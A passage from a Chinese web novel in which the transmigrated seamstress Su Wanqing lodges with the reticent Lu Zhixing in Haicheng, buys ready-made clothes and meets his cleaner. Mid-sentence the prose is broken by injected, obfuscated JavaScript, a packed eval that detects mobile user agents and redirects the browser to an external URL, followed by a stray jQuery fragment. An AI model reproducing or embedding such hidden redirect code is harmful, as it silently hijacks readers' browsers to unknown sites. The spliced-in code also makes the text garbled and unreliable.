就算是个疑问句,也叫陆知行说得如同肯定句,多亏苏晚晴抬头确认,男人的视线中只有纯然的疑问,并没有任何负面情绪。


    刚听到那句话,着实给苏晚晴吓了一跳,幸好她有看着人眼睛说话的习惯,要不然恐怕真会误解对方的意思。


    既然陆知行问了,苏晚晴也不藏着掖着,要谈起自己最擅长的事业,她立刻感觉自己昂首挺胸了起来,迫不及待回答:


    “我会做衣服,这类型相关的工作都可以胜任!”


    此话一出,眼前的男人并没有接话,他眸光微动,上下打量苏晚晴。


    找个做衣服的工作而已,看她做什么?


    苏晚晴顺着对方的目光往自己身上看去,她正穿着一身明显与如今海城潮流并不符的碎花棉衣,在这个服装大流还统一“灰,蓝,绿”单一色调工装的年代,她这身衣服昭示着主人是乡下人的身份。


    一时之间,苏晚晴百口莫辩。


    除了穿来后的第一天,她大部分时间都不住在自己家中,能在谢婶家洗洗衣服就不错了,哪里还有机会找身时髦衣服再来海城。


    甚至说得难听点,她已经算得上是落荒而逃。


    要求一个逃命的人穿得追赶时尚,也太为难她了些。


    担心对方质疑她的服装设计能力,苏晚晴赶忙解释:“这是为了方便干活,村里大家都这么穿,我来的时候看见街上人们的打扮了,那种衣服我也会做。”


    “嗯。”陆知行收回视线,点点头,先一步向楼上走去。


    也不知道“嗯”是认可还是不认可,苏晚晴还在心里嘀咕,却见已经走到楼梯半中央的陆知行停了下来,他回过头,正对上苏晚晴清亮的杏眼。


    二人遥遥相望一会,他才好不容易开了金口:“跟上。”


    苏晚晴没招了。


    这位陆先生从她进门总共就憋出五个字,没一个字跟安排房间有关系,她本以为自己今晚要在大厅随便找个沙发休息,没想到房主还真愿意让她占用客房。


    好人呐,就是话太少了,但想起对方又是毫不犹豫收留她,又是关心她的工作,苏晚晴又觉得哪怕寡言也是瑕不掩瑜。


    跟着男人上到二楼,对方将她一路带至最靠内的一间客卧,推开门,卧室内洁净明亮,很明显有人时常打扫,才能保持这种清洁程度。


    受到的待遇比苏晚晴预想中好了太多,她感动地连连道谢,陆知行轻瞥她面黄肌瘦的脸颊,默默转身离开。


    终于送走这位慈善家,苏晚晴对男人的去向并不好奇,作为客人过度打探主人家隐私并不礼貌,她关上门,终于长舒口气。


    之前没有住处还提着一口气,这会暂时安定下来,苏晚晴才发觉自己手脚发软得厉害。


    在火车上就连着三天没有休息好,下了车又一路奔波,她能坚持到现在,也是出乎她自己的预料。


    安静的室内,心脏还如擂鼓般激烈跳动,苏晚晴深呼吸几下,感觉太阳穴甚至一同鼓胀着躁动了起来。


    顾不上其他事,苏晚晴将带来的所有行李暂时收好,简单洗漱了一番,尽快脱了衣服上床休息。


    吃饭和找工作都可以暂时搁置,只有身体健康才是大事,正因为了解原主的身体状况,苏晚晴才比任何人都关注自己的不适。


    听着胸腔内咚咚作响的鼓点,苏晚晴沾上枕头几秒,就立刻失去了意识。


    ++++


    一夜好眠,苏晚晴连晚饭都没吃,一觉睡到了第二天清早。


    睡眠充足,身体也没有不适,她心情大好,总算有时间收拾自己。


    客房内单独配置了厕所,苏晚晴舒舒服服洗了澡,打算待会出门先去吃点早饭,买身新衣服后再去找工作。


    昨天陆先生的态度倒是提醒了她,现在已经不在村里,大家为了方便干活,都穿着同样耐脏耐磨损的外衣,不论样式如何,只要好用,基本没有人会说闲话。


    可现在来到这个时尚度走在全国前言的城市,要是还继续穿着这一身,别说正式工作了,恐怕就连临时工都难找。


    暂时穿着碎花棉衣将就一下,苏晚晴下楼,打算跟陆先生打个招呼,屋子却不见任何人影。


    陆知行出门了。


    但在出门前,他特意为苏晚晴留下了早饭。


    桌上摆放着简单的一菜一粥,苏晚晴伸手在碗侧试了试,粥还留有些许余温。


    看来她醒来得还算及时,要是再晚一点,就要错过陆先生的好心早饭了。


    苏晚晴吃着早餐,目光不时扫过一楼大厅的装潢。


    虽然从外面看着是栋很有年头的旧建筑,但从装修风格来看,这里的主人近两年应该才翻新过整间屋子。


    屋子很大,除了必要的家用电器外,没有过多生活气息,整间屋子肉眼可及的地方纤尘不染,看得出屋主很爱打扫。


    因为没吃晚饭,肚子里空空如也的苏晚晴将桌上的早饭一扫而空,她端着碗找到厨房,更是对陆先生的洁癖程度有了新的认识。


    按理说,厨房一般是整间屋子最容易藏污纳垢的地方,可她眼前的厨房不要说有任何油污,看起来更像是常年没有人使用一样崭新。


    一边洗碗,苏晚晴一边猜测。


    这间屋子看起来并不常有人居住,昨天她能敲开屋门,很显然运气发挥了很大功劳,距离那封信写下的时间过去了那么久,她原本其实对还能找到对方不抱什么希望。


    然而现在不仅找到了,还顺利借住进了对方家中。


    这一切顺利得不可思议,甚至让苏晚晴起了疑心,她在疑惑中灵光一现,突然想到了一种可能。


    其实陆先生已经是这间屋子的第二任屋主,之前真正与她有娃娃亲的第一任屋主已经转手房子后不知所踪,他接手信件后收留她,也只是因为苏晚晴当时的模样太可怜了而已。


    自觉找到了正确答案,苏晚晴将洗干净的碗筷归位,并顺手擦干净洗碗池,马不停蹄出门买衣服。


    已经单方面认定第二任屋主陆先生是个见不到疾苦的好心人,为了不给他增添太多麻烦,苏晚晴决定尽快找到工作解决温饱问题就搬出去住。


    初来乍到并不熟悉周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492836|202320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    围环境的苏晚晴四处打听,总算找到了周围最大的百货商店,她揣着自己买完火车票后大出血的钱包,决定先进去逛逛。


    书里介绍过,目前海城的主流服装购买方式仍是购买布料后再制作衣服,设计衣服和制作衣服是苏晚晴的本职,她也更加倾向于这种方式,既能节省成本,又能获得最适合自己的衣服。


    可她刚刚仔细一问,才知道现在买布还要使用布票,苏晚晴走得太急,身上除了木盒没有带其他任何东西。


    而且就算她能搞到布,陆先生家里打眼一看就没有缝纫机这种东西,都说巧妇难为无米之炊,饶是她能在谢婶家连改十件衣服,在这里也做不出来一件。


    但为了之后的工作着想,新衣服无论如何也得买上一件,苏晚晴咬咬牙,决定直接去购买成衣。


    如今购买成品服装的风尚刚刚兴起,虽然款式足够新颖,但价格已经足够让很多人望而却步。


    她在商店里随便看了几件衣服,就连一件衬衫都贵得离谱,一路上货比三家,她最后终于带着一件衬衫和裤子离开了。


    抱着斥巨资买回来的衣服,苏晚晴心都在滴血,现在没有经济来源,对她来说花钱犹如割肉,找工作的急切程度已经排在她待做列表的第一位。


    找工作的前置要求已经完成,苏晚晴决定先回家换掉身上这套棉衣,刚刚在商场里,已经有几位售货员对她态度轻蔑,想也知道是看她穿得像个土包子。


    懒得跟这种人计较,她也没有选择购买他们展柜的衣服,反正选择是双向的,总有售货员能做到更好。


    她沿着来路往家走,苏晚晴方向感不好,只能凭借周围建筑辨认自己有没有走错路。


    终于见到那栋与周围破败建筑群格格不入的屋子,苏晚晴快跑几步,来到门前,她却猛地停住了脚步。


    一辆破旧的自行车,正停在房子侧边。


    她记得相当清楚,昨天来的时候,那里并没有任何东西,今天一大早陆先生就早早出了门,更不可能凭空骑回来一辆自行车。


    现在是谁在家里?


    难不成这个家里还有一位女主人,只不过昨天她睡得太早,没能见到人家,今天正好撞见别人回来午休。


    真要是这样,那就太尴尬了。


    苏晚晴一边胡思乱想,一边推开大门,深棕色大门发出吱呀的声响,惊动了屋内忙碌的人。


    对方从厨房探出半个身子,语气惊喜:


    “哎呀小陆!今天居然回来住......”


    话音未落,苏晚晴单薄的身影进入视线,下半句问候戛然而止,二人面面相觑了几秒。


    是一位身着围裙的中年妇女。


    妇女头发乌黑,气色红润,光听那句没讲完的话就相当中气十足,看起来比苏晚晴这个真正的年轻人还要充满精力。


    听她对陆先生的称呼,苏晚晴一时有了猜想。


    “我是来陆先生这里借住几天的朋友,不打扰您工作,”苏晚晴简单打了声招呼。


    “哎哎你好,我姓张,是来给这家打扫卫生的。”